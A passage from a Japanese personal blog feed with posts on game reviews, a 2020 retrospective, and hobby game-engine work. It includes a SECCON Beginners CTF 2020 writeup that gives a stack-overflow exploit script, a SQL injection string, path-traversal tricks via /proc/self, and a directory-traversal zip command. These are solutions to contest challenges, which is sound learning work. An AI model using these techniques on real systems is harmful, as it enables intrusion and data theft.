`{"i1":3, "i2":2}`}, {Key: "n11", Value: `{"i1":1, "i2":1}`}, {Key: "n31", Value: `{"i1":3, "i2":1}`}, {Key: "n33", Value: `{"i1":3, "i2":3}`}, } for _, record := range records { _, _, err = tx.Set(record.Key, record.Value, nil) } return err }) db.View(func(tx *buntdb.Tx) error { // indexを昇順にイテレート fmt.Println("iterate over index") tx.Ascend("index", func(key, value string) bool { fmt.Println(key, value) return true }) // indexの値が `{"i1":3, "i2":1}` と同じレコードをイテレート fmt.Println("iterate over index equal to n31") tx.AscendEqual("index", `{"i1":3, "i2":1}`, func(key, value string) bool { fmt.Println(key, value) return true }) // indexの値が `{"i1":3, "i2":1}` より大きいレコードをイテレート fmt.Println("iterate over index greater or equal to n31") tx.AscendGreaterOrEqual("index", `{"i1":3, "i2":1}`, func(key, value string) bool { fmt.Println(key, value) return true }) // i1 = 3のレコードをi2の値で昇順にイテレート fmt.Println("iterate over index where i1 = 3") tx.AscendRange("index", `{"i1":3, "i2":0}`, `{"i1":4, "i2":0}`, func(key, value string) bool { fmt.Println(key, value) return true }) return nil }) } ```
結果
```text iterate over index n11 {"i1":1, "i2":1} n12 {"i1":1, "i2":2} n21 {"i1":2, "i2":1} n22 {"i1":2, "i2":2} n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22} s11 {"i1":"1", "i2":"1"} s12 {"i1":"1", "i2":"2"} s21 {"i1":"2", "i2":"1"} s22 {"i1":"2", "i2":"2"} s31 {"i1":"3", "i2":"1"} s32 {"i1":"3", "i2":"2"} s322 {"i1":"3", "i2":"22"} s33 {"i1":"3", "i2":"3"} iterate over index equal to n31 n31 {"i1":3, "i2":1} iterate over index greater or equal to n31 n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22} s11 {"i1":"1", "i2":"1"} s12 {"i1":"1", "i2":"2"} s21 {"i1":"2", "i2":"1"} s22 {"i1":"2", "i2":"2"} s31 {"i1":"3", "i2":"1"} s32 {"i1":"3", "i2":"2"} s322 {"i1":"3", "i2":"22"} s33 {"i1":"3", "i2":"3"} iterate over index where i1 = 3 n31 {"i1":3, "i2":1} n32 {"i1":3, "i2":2} n33 {"i1":3, "i2":3} n322 {"i1":3, "i2":22} ```
- buntdb.IndexJSON()を使うと JSON の特定のフィールドに対しての Index を作れる - buntdb.CreateIndex()の引数に複数の Index 関数を設定できる - buntdb.IndexJSON()の順は JSON 中の型による。文字列型であれば文字列として、数値型であれば数値として並ぶ
]]>
Wildfire https://www.neguse.dev/posts/38 https://www.neguse.dev/posts/38 Sun, 17 Jan 2021 00:00:00 GMT
[Wildfire](https://store.steampowered.com/app/431940/Wildfire/)というゲームを遊んだ。

Wildfire は特殊能力をあやつってステルスする 2D アクションゲーム。 ステージがたくさんあり、1 つクリアすると次のステージが遊べるようになる。

敵に見られたり音を聞かれたりすると気づかれるので、それを避けるような行動をとるとステルスできる。 具体的には、草むらや段差、橋の下に隠れたり、走りや落下音が鳴らないよう歩いたり草むらに落下するようにしたり。

能力は 3 種類あって、最初は火だけ、あとから水、草も使える。

火の使い方や影響はいろいろある。

- 可燃物(草、橋など)を燃やす。
- 敵にぶつけて脅かす。
- ヤマネコ(においで追跡してくるので隠れても無駄で、めっちゃ強い)を怯えさせて、距離をとらせる(人間以外の生き物は火が怖いので。でも近づきすぎると襲ってくる)。
- 雪を溶かす。
- 暗いところで光源になる。敵の松明の火を奪うことで暗闇にして視界を奪う。
- 温度が上昇する。

Wildfire は能動的に敵を殺す術があまり無く、能力で直接できるのはせいぜい脅かすぐらい。 たとえば以下のようなことをやると殺せるけど、ゲームの達成項目に「不殺」というのもあって、 殺しまくりプレイはあまり推奨されていないように感じる。

- 火で温度を上げる。基本敵は火を見ると逃げるので閉じ込めるような場所がないとできず、あまり狙えない。
- 敵に物(死体とか)をぶつけると酸素値が減って、酸素値が 0 になると気絶する。気絶中に敵を水中に投げて窒息死させる。
- 高いところから落下させる。脅かしたり、橋を燃やしたり。
- スイッチで開閉するシャッターで挟む。
- 爆弾樽に火を付けると爆発して、その爆風に巻き込む。

ただ、自分のプレイでは能力のアップグレードを積極的には行わずに進めたので、 ちゃんと能力アップグレードを行えばもっと強力になるのかもしれない。

なめらかに動くドット絵のキャラクター、きれいな炎のアニメーション、 状況によってダイナミックに移り変わる BGM(敵に見つかると緊張感が出る)など、演出面はけっこう力が入っている。

ステルスプレイが主体のゲームをあまり遊んだことがないのだけど、割と楽しく遊べた。 能力やオブジェクトの相互作用がたくさん用意されていて、この場面ではこういうことをやれば切り抜けられるんじゃないかという方法を探していくのが楽しい。 気になった点としては、ステージ内でチェックポイントとオートセーブがあってリトライ時にステージ中から遊べるのだけど、 オートセーブの間隔がわかりづらくけっこう戻されることがあった。それでも最初からよりはだいぶましだけど。

クリアまでのプレイ時間はおよそ 7 時間だった。 ステージごとにサブ目標があったり、不殺、完全ステルス、仲間を全員助ける、リトライなしでクリア、スピードランなど直接クリアには関係ない項目もあって、 それらをすべて達成するのはかなり骨が折れそう。
]]>
2020年ふりかえり https://www.neguse.dev/posts/37 https://www.neguse.dev/posts/37 Sat, 09 Jan 2021 00:00:00 GMT
## 生活
年始に引っ越しをして、騒音問題がだいぶ解消されたのはよかった。 その後いきなり COVID-19 騒動。テレワーク主体となる。 一時期安定した睡眠が難しくなる。毎朝の散歩や夜極力光を浴びないようにするなど工夫して今は比較的落ち着いてる。 COVID-19 以外にも香川県ネット・ゲーム依存症対策条例など色々とネガティブになるニュースが多い年で、 外部からの情報をシャットアウトすることが精神衛生上有効なのではないかという気がしている。

## ゲーム
### Celeste
とてもよかった。 だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにできるところや、若干入力が遅れてもアクションを受け付けてくれるなど操作しやすさに工夫があってストレスは少ない。 セレステ山を登る話で、ゲーム主人公の成長とプレイヤーの腕前の成長とがあって、登頂できたときには達成感が強い。

### Momodora: Reverie Under The Moonlight
とてもよかった。 世界観がだいぶ暗めで、パンデミック下でやると沁みる。 敵の攻撃が雑魚敵でもだいぶダメージを受けるなど難易度は少し高めだけど、操作が快適で、チェックポイントも多めなのでストレスは少ない。

### カメさんぽ
散歩のおとも

### クロノレガリア
3 月末にサービス終了してしまったけど、COVID-19 さわぎで遊びおさめが十分にできなかった。 対戦型ゲームとして今までで一番はまったゲームで、PC で遊べるようにしてほしいという気持ちが強い。

### Oculus Quest
### DJMAX RESPECT V
PS4 版を持っていたけど、PC でやれると手軽なので購入。 めっちゃ遊んでたら腱鞘炎になった。 そのままでもボリューム多いし、DLC たくさんあるしで遊びでがある。 対戦が熱い。

### A Short Hike
島でほのぼの登山。 難易度は高くないけど、クリアすると達成感はある。

### A Dance of Fire and Ice
オリジナリティある音ゲー。 1 ミスで終了するため緊張感ある。曲を覚えて徐々に先まで進めるようになるので成長を感じられる。

### Seven Scrolls
[https://venbrux.itch.io/seven-scrolls](https://venbrux.itch.io/seven-scrolls)

### Tormentor❌Punisher
[https://note.com/alohatengu/n/n700cf11e17c7](https://note.com/alohatengu/n/n700cf11e17c7)

### グノーシア
よかった。

### レイジングループ
気持ちの良い話のまとめ方で、よかった。

### リトルウィッチノベタ
よくできてる。

### リングフィット
さぼりがち。

### Tower of Heaven
だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにできるところや、入力に対して遅延なく反映されるところなど、ストレスは少なめ。 曲、雰囲気がめちゃくちゃいい。

### Katana ZERO
最初動きが(Tower of Heaven と比べて)もっさりしてるかと思ったけど、慣れてくるといい感じに動かせる。 だいぶ難しめのアクションを要求されるけど、画面単位でリトライが速やかにでき、ストレスは少なめ。 雰囲気がよい。

### スーパーメトロイド
レベルデザインが練られていると感じた。行けないところと行けるところの割合がよいというか、徐々に行けるところが増えてくる感じ。 操作性(スペースジャンプとか振り向きとか)が独特だったり、ボス戦がやや大味(ダメージ覚悟でミサイル連打する戦略がだいぶ有効)とかは微妙に感じた。

### Hollow Knight
クリアまでおよそ 20 時間ぐらいかかった。十分楽しめたけど、個人的にもう少し手軽に遊べるゲームのほうが好み。 プレイ時間が長くなる要員として、マップが広かったりバリエーション豊かな強いボスという長所もあるけど、 チェックポイントからボスまでの距離があるのでリトライしづらかったり、ファストトラベルで移動できる場所が荒くて目的地まで移動に時間がかかったり、デスペナルティでお金を失って買い物ができなくなるなどストレスに感じるところもあった。 音をうまく使っていて、地図を売ってくれるキャラクターの鼻歌が聞こえてくると安心できたりする。

### Minit
## 音楽
### [Crema Binaria](https://chibitech.bandcamp.com/album/crema-binaria)
最高

## 料理
引っ越しを期に自炊中心の生活を試してみて、その一環で宅配系サービスを試してみた

### Oisix
毎週メニューが異なるミールキットが注文できる。 20 分で 2 人分調理できるのはいいが、そもそも調理が面倒になってきてしまった。 配送料の都合で毎週 4000 円ぐらい注文できるとよいが、ミールキットだけだとちょっと厳しい。

### BASE FOODS
栄養がひととおり含まれたパンやスパゲッティが注文できるサービス。 毎日朝食に BASE BREAD を 1 つずつ食べている。

### ローソンフレッシュピック
ミールキットや食材など、スマホアプリで注文しておくとローソンで受け取りができるサービス。 他の宅配サービスに比べて 1 回の注文の量が少なくても OK だったり注文間隔が短くても OK というところがとても便利だったけど、残念ながらサービス終了。

### 茹で野菜の漬け
電子レンジで野菜を 3 分ほど加熱して(700W の電子レンジなのでたぶん火の通りが速い)、調味液に漬け込むという調理をたまにやっている。 保存がきくし手軽に野菜がとれて便利。

- もやし+酢+ごま油+めんつゆ+唐辛子
- なす+しめじ+油揚げ+酢+めんつゆ+唐辛子
- キャベツ千切り+ツナ+レモン果汁+オリーブオイル

味付けはめんつゆ以外にもごま+マヨネーズ、塩昆布などもよい。

### 保存容器
[そのままレンジ保存容器](https://www.topvalu.net/items/detail/4549741509473)が便利。 上記の調理済みミールキットの残りを入れたり、漬けに使ったり、炊いたご飯を冷凍したり、いろいろ使える。 ラップを使うことはほぼなくなった。

## 動画
### [オモコロチャンネル](https://www.youtube.com/channel/UCOx-oLP9tOhiYwSK_m-yVxA)
毎週おもしろ動画がアップロードされていて、精神的にまいっていたときに延々と見ていてだいぶ助かった。

- [フリー素材でにらめっこしたら楽しすぎた!!](https://www.youtube.com/watch?v=mXj_HrAlomE)
- [バカが作ったウミガメのスープを高知能集団に解かせよう!](https://www.youtube.com/watch?v=PBs2ev4IGaY)
- [一流ビジネスマンのチャット流儀](https://www.youtube.com/watch?v=T_qkO9ck4BU)

### [INDIE Live Expo](https://www.youtube.com/channel/UC638PpHn_zdM0rh09mxoKDw)
インディーゲームの紹介番組。かなり盛り上がっていた。

### [Game Maker’s Toolkit](https://www.youtube.com/c/MarkBrownGMT)
ゲームデザインなどについて議論しているチャンネル。 面白いのだけど、最近第三者が字幕をつける機能が YouTube から削除されてしまい、日本語字幕が付かなくなってしまった。

## 技術
あまり集中してプログラミングの時間をとることができず、これといった成果物は出せなかった。 この状況ではしかたないかという気持ち。

##
### しあわせの書
### 乱れからくり
### プリンタニア・ニッポン
かわいい

### 「山奥ニート」やってます。
山奥で低生活費で暮らすのいいなーと思った。 ただスケールメリットを出すには複数人で暮らさないといけなそう

### 猫とともに去りぬ
[https://twitter.com/neguse/status/1317065923174354944](https://twitter.com/neguse/status/1317065923174354944)

### 殺戮にいたる病
### 自作の小屋で暮らそう
小屋を建てることで低生活費で暮らすのいいなーと思ったけど、 毎日風呂に入るのは厳しそう(主に下水の問題で)なのでやっぱり厳しそう。 あと本当の意味で一人だけの暮らしは厳しさがありそう [https://dot.asahi.com/aera/2018083100054.html](https://dot.asahi.com/aera/2018083100054.html)

### そのへんのアクタ
### ゆらゆら Q
### おとなりに銀河
### 地図にない場所
## その他
### DeepL
だいぶ質がよい翻訳サービス。課金済み。 よいけどたまに文が抜ける。

### Philips Hue
夜に明かりを減らすために利用。

### 羅小黒戦記
かわいい
]]>
散歩中にPodcastを聴いている https://www.neguse.dev/posts/36 https://www.neguse.dev/posts/36 Sun, 20 Dec 2020 00:00:00 GMT
最近部屋で過ごしがちなので、意図的に散歩時間をとるようにしている。毎日同じ道を散歩していると飽きるので Podcast を聴くようにしている。散歩中に本を読むと危ないけど、Podcast なら比較的安全に情報を摂取できて便利。

以下聴いている Podcast

- [Turing Complete FM](https://turingcomplete.fm)
- [Rebuild.fm](https://rebuild.fm)
- [yatteiki.fm](https://yatteiki.fm)
- [Misreading Chat](https://misreading.chat)
- [IGN JAPAN しゃべりすぎ Gamer](https://jp.ign.com/shaberisugi-gamer)
- [ゲームデザインの話](https://anchor.fm/ken-watanabe9)
- [ボードゲームのゲームデザイン](https://podcasts.apple.com/us/podcast/%E3%83%9C%E3%83%BC%E3%83%89%E3%82%B2%E3%83%BC%E3%83%A0%E3%81%AE%E3%82%B2%E3%83%BC%E3%83%A0%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3/id1449031474)

そのうち自分も Podcast 収録してみたい(けど手頃な題材もトーク力も呼べるゲストもない…)
]]>
最近遊んだゲーム https://www.neguse.dev/posts/35 https://www.neguse.dev/posts/35 Sat, 28 Nov 2020 00:00:00 GMT
ここ最近いわゆる 2D Platformer(足場を渡っていく、スーパーマリオのようなアクションゲームのジャンル)を中心にいろいろ[Twitch](https://www.twitch.tv/neguse_k)  で配信しながら遊んでいる。ゲーム作る方のモチベーションがいったん切れてしまった感じなので、遊ぶ方をやろうかと。

とりあえず 10 月ぐらいからクリアしたのが以下のもの。

- [Minoria](https://store.steampowered.com/app/940910/Minoria/?l=japanese)
- [天国の塔](http://askiisoft.com/games/tower-of-heaven/)
- [Katana ZERO](https://store.steampowered.com/app/460950/Katana_ZERO/)
- [Apple Slash](https://store.steampowered.com/app/1127850/Apple_Slash/)
- [Noitu Love 2 Devolution](https://store.steampowered.com/app/207530/Noitu_Love_2_Devolution/)
- [GRIS](https://store.steampowered.com/app/683320/GRIS/)
- [ホソナガの野望](http://ikiki.la.coocan.jp/himoji/game.htm)
- [忍者ゲーム](http://ikiki.la.coocan.jp/himoji/game.htm)
- [スーパーメトロイド](https://www.nintendo.co.jp/clvs/soft/s_metroid.html)
- [Minit](https://store.steampowered.com/app/609490/Minit/)

長いものでも 10 時間以内にクリアできるぐらいのボリューム。このぐらいがほどよく感じる。

ミスした場合のリトライが速やかにできてチェックポイントが頻繁にあるのが自分的には好ましいということがわかった。Celeste、天国の塔、Katana ZERO などは精密な操作が要求されるけど、リトライで戻される量が比較的小さくストレスがたまりづらいように感じた。リトライでかなり戻されてしまうと心が折れやすい。
]]>
雑にゲームを作る(7) https://www.neguse.dev/posts/34 https://www.neguse.dev/posts/34 Sat, 27 Jun 2020 00:00:00 GMT
[https://neguse.github.io/ng/demo/tetris/ng.html](https://neguse.github.io/ng/demo/tetris/ng.html)

テトリス実装 RTA の 2 回目をやってみたけど、タイマー操作をミスして測定できてなかった。およそ 70 分ぐらいで 1 時間切れず。事前に使えそうな処理をライブラリ化しておいたのだけど、うーん…

ついでなので、その後乱数まわりの実装をしてみた。同じテトリミノが複数回連続で選ばれないよう、7 種類全部出たら次の 7 つをシャッフルして備える感じの実装とした。

次はアステロイド的なゲームを作って、そろそろオリジナルなゲームに取り掛かりたい。もともとこの取組を始めたのは 1 週間に 1 つシンプルなゲームを作りたいというところから来ているので。(ここには初めて書いた気がする)

最近 ABA Games さんが 1 時間で小さいゲームを作る取り組みをしていて参考になりそう。確かに rect()と box()両方あると便利だなーとか。(rect だけだとサイズを保ったまま動かす用途で引数渡すときに計算が必要で面倒)

[https://github.com/abagames/crisp-game-lib](https://github.com/abagames/crisp-game-lib)
]]>
雑にゲームを作る(6) https://www.neguse.dev/posts/33 https://www.neguse.dev/posts/33 Sun, 21 Jun 2020 00:00:00 GMT
今回はテトリスっぽいものを作った。およそ 1.5 時間でできた。



[https://neguse.github.io/ng/demo/tetris/ng.html](https://neguse.github.io/ng/demo/tetris/ng.html)

## やったこと
- 盤面のデータ構造定義、初期化、表示
- テトリミノのパターン定義
- テトリミノの表示、移動、配置できるか判定
- 列の削除

## Future Work
- タイトル画面、ゲームオーバー画面
- 回転のパターンをもう少し自然にする、O は回しても回らないなど
- スコア、たくさん行消すとスコアが上がるなど
- 徐々に落下速度を上げる
- テトリミノの種類ごとに色を変える
- 予告表示
- テトリミノの出現頻度を適正にする(rand の剰余でやってるので同じのが連続して出たりする)

## よかったこと
- 途中まで番兵というか、壁を配列内にデータとして定義していたのだけど、それだと揃えて消したときに再度壁をつくらないといけないのが面倒でやめた。配列外の分は、「Y 軸上方向を超えた分は何もなし扱い、それ以外は壁扱い」とした。これによって、行が埋まって消えたときの処理が単に上の行から下の行にコピペするだけで済んで、すごいきれいに書けてよかった。
- glm::ivec2 が大活躍。x と y それぞれ引数などに渡さなくてすむし、+演算子で足せるので超便利。
- 途中まで At()を Setter, Getter 両方の意味で使ってたのだけど、配列外になることが多そう(I を回すと一時的に配列外になったり)ということがわかって急遽 SetAt()と GetAt()に変えた。これがうまくはまって、特に消すところがよくかけた。

## なんとかしたい
- 最終形が見えてない状態でもりもり書いてて、結局不要になった処理はそこそこあった。壁とか At とか。何回かやりなおして手順最適化して、タイムアタック動画として投稿したい
- rand()に頼らなくてすむよう、乱数ライブラリを導入したい
- Board 型をライブラリに導入できればタイムが縮むが、汎用化するのは難しい気がしている。どこまでライブラリとして切り出せるか
]]>
雑にゲームを作る(5) https://www.neguse.dev/posts/32 https://www.neguse.dev/posts/32 Sat, 13 Jun 2020 00:00:00 GMT


[https://neguse.github.io/ng/demo/breakout/ng.html](https://neguse.github.io/ng/demo/breakout/ng.html)

簡単なブロックを崩すゲームを作ってみるのを試しました。結果、1 時間と数分ぐらいで実装完了しました。

## やったこと
- バーの移動
- ボールの移動
- バーとボールの衝突、跳ね返り
- ブロックの設定
- ブロックとボールの衝突、跳ね返り
- ボール発射、ボール数、ゲームオーバー
- タイトル画面、操作説明

## Future work
- バーとボールの衝突で、当たった場所に応じて角度を微調整
- 時間経過でボールが速くなる
- アイテム(バーが大きくなる、ボールが増えるとか)

## よかったこと
- 1 時間ぐらいで作れた
- ブロックとボールの衝突が雑にやったにしてはよかった
- ライブラリ起因のトラブルが出なかった。

## 今後なんとかしたい
- 文字表示、どこを基準に揃えるか指定したい。少なくとも左右と中心
- Rect 型、Left が取れるだけじゃなくて Left を Set する方法がほしい。壁跳ね返りとかで必要
- 矩形の衝突判定はライブラリ化しててほしい。Rect 型も上位ライブラリとしてはあり
- デバッグ実行(いちいち裏で起動してる cmd.exe から起動してたが、Visual Studio からデバッグ実行したい、OBS の設定を見直す)
]]>
雑にゲームを作る(4) https://www.neguse.dev/posts/31 https://www.neguse.dev/posts/31 Wed, 10 Jun 2020 00:00:00 GMT
結局前回 Emscripten 版がうまく動いてなかったのは、試行錯誤最中に間違えて SDL_Init()を呼ぶコードをコメントアウトしてしまっていたためだった。しょうもない…入れたら割と動いてくれるようになった。

Emscripten 版とネイティブ版は割とソースコード共通でいけるんだけど、一部違うところがある。

- OpenGL のバージョン。ネイティブ版は 3.3 core profile, Emscripten 版は 3.0 ES profile。それに伴ってシェーダの一行目に書くバージョンも変わる。
- メインループの回し方。emscripten_set_main_loop_arg()などの関数でコールバックとして呼ばれるようにしないといけない
- ファイルの読み方。一旦そのままだと無理そうだなということで、フォントファイルを使った文字描画処理は外してある

いままでは、たとえばテトリスを実装して「やった~遊んでもらうぞ~」と思っても相手の人が Windows PC を持っていない場合動かせなかったのだけど、Emscripten ならブラウザ上で動くので、より遊んでもらいやすいということになる。雑に作ったゲームは雑に遊んでほしいので、配布方法も手軽であってほしい。たとえば itch.io に埋め込むような用途も可能。

ちょっと話がそれるけど、ちょうど gs2 というサービスが「売上高 1000 万以下なら無料」という大盤振る舞いをするというニュースが出てた。こういうバックエンドサービス使えばお手軽にクラウドセーブ機能を導入できていいんじゃないかなーと思った。ただ Emscripten 用 C++は公式 SDK の対象外な気がするので、移植大変なんじゃないかなー。ちょっと試してみたい。

[](http://gs2.hatenablog.com/archive/2020/06/10)

[http://gs2.hatenablog.com/entry/2020/06/10/092417](http://gs2.hatenablog.com/entry/2020/06/10/092417)
]]>
雑にゲームを作る(3) https://www.neguse.dev/posts/30 https://www.neguse.dev/posts/30 Sun, 07 Jun 2020 00:00:00 GMT
今週末は Emscripten ビルドを試していた。

最初、CMake で vcpkg を使いながら Emscripten のビルドをする方法を確立するのに時間がかかった。どうも vcpkg の Emscripten 対応は[ごく最近マージされた状態のようで](https://github.com/microsoft/vcpkg/pull/11323)、他に試している人があんまり見つからなかった。結局いろいろやってみて、 *CMAKE_TOOLCHAIN_FILE*変数を vcpkg.cmake に、*VCPKG_CHAINLOAD_TOOLCHAIN_FILE*変数を Emscripten.cmake に設定してビルドすればできた。

その後ビルドはできるものの動かないという状態が続いた。OpenGL,OpenGL ES,GLSL,WebGL それぞれのバージョンがどう対応しているかがよくわからず、混乱のもととなった。結局 OpenGL ES 3.0(GLSL ES 3.0)なら WebGL2 で動きそうということでいろいろ試行錯誤したけどなかなか原因がわからず、最後に最小構成まで削った状態で試してみたところ動いたのでよかった。あとはどこが原因かをコード足しながら探せばよさそう。

最小構成のコードはこちらに置いておきます。[https://gist.github.com/neguse/dc5d04ec65bec7d82d47f0a2a9745637](https://gist.github.com/neguse/dc5d04ec65bec7d82d47f0a2a9745637)
]]>
雑にゲームを作る(2) https://www.neguse.dev/posts/29 https://www.neguse.dev/posts/29 Tue, 02 Jun 2020 00:00:00 GMT
- [リポジトリ](https://github.com/neguse/ng/)を作った
- Linux でもビルドできた。vcpkg 便利
- 簡単な図形表示、入力ができた

こんな感じ。

```text #include "ng.h" enum { KEY_UP, KEY_DOWN, KEY_RIGHT, KEY_LEFT, KEY_1, KEY_2, }; int main(void) { auto proc = ngProcess::NewProcess(); proc->MapKeyboard('w', KEY_UP); proc->MapKeyboard('a', KEY_LEFT); proc->MapKeyboard('s', KEY_DOWN); proc->MapKeyboard('d', KEY_RIGHT); proc->MapKeyboard('z', KEY_1); proc->MapKeyboard('x', KEY_2); proc->MapMouseButton(1, KEY_1); proc->MapMouseButton(3, KEY_2); // right mouse button if (!proc->Init()) { return 1; } float x = 0.f; int button_press_count = 0; vec2 pos(0.f, 0.f); proc->Run([&](ngProcess& p, float dt) { // update x += dt; const float velocity = 100.f; if (p.IsHold(KEY_LEFT)) { pos.x -= velocity * dt; } if (p.IsHold(KEY_RIGHT)) { pos.x += velocity * dt; } if (p.IsHold(KEY_UP)) { pos.y += velocity * dt; } if (p.IsHold(KEY_DOWN)) { pos.y -= velocity * dt; } if (p.IsJustPressed(KEY_1)) { button_press_count++; } if (p.IsJustPressed(KEY_2)) { button_press_count--; } // drawing p.Clear({0x80, 0x80, 0x80, 0xff}); const auto white = ngColor(0xff, 0xff, 0xff, 0xff); const auto black = ngColor(0x00, 0x00, 0x00, 0xff); const auto translucent_red = ngColor(0xff, 0x00, 0x00, 0x80); p.Line(black, {0, 0}, vec2(cos(x), sin(x)) * 100.f); float l = 100.f + cos(x) * 100.f; p.Circle(translucent_red, translucent_red, {0, 0}, l); auto txt = fmt::format(u8"pos({0},{1}) btn({2})", p.CursorPos().x, p.CursorPos().y, button_press_count); p.Text(black, {-320, 0}, 30, txt.c_str()); p.Square(white, white, pos, 10); }); } ```
細かいところはあとでもう少し詰めるとして、とりあえずこれだけあればテトリスぐらいは作れるでしょうというところまでできた。よしよし。
]]>
SECCON Beginners CTF 2020 writeup https://www.neguse.dev/posts/28 https://www.neguse.dev/posts/28 Sun, 24 May 2020 00:00:00 GMT


writeup というのが何なのかよくわかってないですが、それっぽいのを書いてみます。CTF 歴は 2018 年の ctf4b 以来 2 回目です。

## Welcome
Discord に貼られた Flag を入れるだけ。

## Spy
リストにある名前を適当に入れてみると、一瞬でレスポンスが返る時もあれば 1 秒ぐらいかかる時もある。 1 秒かかるやつ(たぶん暗号化とかで時間かかってそう)をあつめてチェックいれればよし。

## R&B
頭に R がついてたら ROT13 の逆、頭に B がついてたら Base64 の Decode をすればよし。Python 久々に書く上に Python3 は初だったので bytes と str の型変換でとまどった。

```text import base64 flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' def b64decode(s): return base64.b64decode(s) def rrot13(s): def f(x): ch = x if ord('a') <= ch and ch <= ord('z'): ch = ch - 13 if ch < ord('a'): ch += ord('z') - ord('a')+1 elif ord('A') <= ch and ch <= ord('Z'): ch = ch - 13 if ch < ord('A'): ch += ord('Z') - ord('A')+1 return ch return bytes([f(x) for x in s]) while True: print(flag, flag[0]) if flag[0] == ord(b'B'): flag = b64decode(flag[1:]) elif flag[0] == ord(b'R'): flag = rrot13(flag[1:]) else: print("unkwno") exit() ```
## mask Ghidra で逆アセンブルしたところ、2 つのビットマスクに対して FLAG を 1 文字ずつ AND をとって、結果がそれぞれ期待した文字列になるかをチェックしていた。 2 つのビットマスクの情報を合わせたら元の FLAG を復元できるので、復元する。
```text package main import ( "fmt" ) func main() { k1 := "atd4`qdedtUpetepqeUdaaeUeaqau" k2 := "c`b bk`kj`KbababcaKbacaKiacki" m1 := byte(0x75) m2 := byte(0xeb) for i := 0; i < len(k1); i++ { var b byte b = (k1[i] & m1) | (k2[i] & m2) fmt.Printf("%c", b) } } ```
## Beginner’s Stack 適当に埋めてったら`RSP is misaligned!`って言われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1 したら大丈夫だった(よくわからん…)。
```text from socket import * from struct import * from time import sleep from telnetlib import Telnet s = socket(AF_INET, SOCK_STREAM) s.connect(("bs.quals.beginners.seccon.jp", 9001)) s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00') t = Telnet() t.sock = s t.interact() ```
ググったところ telnetlib というのを使っている方がいたので真似した。 Python は標準ライブラリが豊富ですごいなあとおもいました。 ## readme `/`からのパスであること、`ctf`という文字列を含まないことという制約がある。 最初エスケープシーケンスとかでがんばれば回避できるかと思って試したけどうまくいかなかった。 その後、`/proc/self/cwd`経由の相対パスならいけることがわかった。 カレントディレクトリは`/proc/self/environ`の PWD から取れる。 ## emoemoencode Flag のフォーマット的に`ctf{xxx}`なので、最初の文字が c に相当するとしてシーザー復号すればよし。
```text s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽" ss = "" for c in s: d = ord(c)-127843+ord('c') print(ord(c), chr(d)) ss += chr(d) print(ss) ```
## Tweetstore `'``\'`とエンコードしているが、`\'`を入力すれば`\\'`になるのでシングルクオートを閉じることができる。 あとはコメントで後続のクエリを無視して、`\' UNION select user, user, now() --`を search word に入れれば解ける。 ## unzip [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) これで directory traversal な zip をつくったらいけた。
```text python evilarc.py flag.txt --depth 7 --os unix ```
## sneaky Ghidra で逆アセンブルしたところ、ソースが複雑でよくわからなかった。 適当にぽちぽち見てたらちょうど GAMEOVER 出力してるっぽいところがあって、 その近辺で 10000 という定数と比較しているコードがあった。 10000 がハイスコア閾値なんじゃ…と思い、バイナリエディタで実行ファイルを書き換えて 0 にしてみる。 10000(0x0f27)が出てくるところは 4 箇所あって、1 個だけ書き換えるだとだめで、全部書き換えたところアイテムを 1 個取るだけで OK になった。
]]>
雑にゲームを作りたい https://www.neguse.dev/posts/27 https://www.neguse.dev/posts/27 Wed, 20 May 2020 00:00:00 GMT


ちょっとした 2D のゲームを作って試したいと思った時に、どうにも気が重くて作るところまでたどり着けないことが多かったので、どうにかサクッと作れる環境を用意したい。こういう時だいたいライブラリ、エンジンを作ることに凝ってしまって肝心のゲームを作る方がおいてけぼりになるのでよくない。(いつもそう…)

手の速さは慣れによるところが大きいと思うので、最小限やりたいことができるライブラリを用意しつついろんなゲームを作ってみて、ライブラリの機能と慣れレベルを両方向上させていきたい。具体的には、テトリスやブロックくずし、Asteroids(Atari)みたいなシンプルなゲームであれば 1 時間かからず作れるようになりたい。

いまどき C++…という気もするけど、ライブラリや開発環境の揃い具合とか言語機能(例えば vector 型の加算が+演算子でできてほしい、そのためには operator overload が必要)とか現状の習得コストとか考えると、ひとまず C++が無難かなあという気がしている。

Unity のような既存のゲームエンジンに慣れるという方向もあると思うのだけど、機能がでかいので慣れレベルを上げるのが大変じゃないかなあというのと、アセットがない状態から使うのがやや面倒じゃないかなあというのが気になっている。描画機能としてはシンプルに四角とか丸とかプリミティブな図形を気軽に表示する機能だけがほしい。ペイントソフトを使って雑なテクスチャを書けばいいといえばそうなんだけど、さいしょはプログラムだけで済ませたい。

自分の環境に対するこだわり(おそらく一般的でない)があって、それをいい感じに満たしてくれるものがないのであれば、作るしかないんだろうなあというところ。やるかー。
]]>
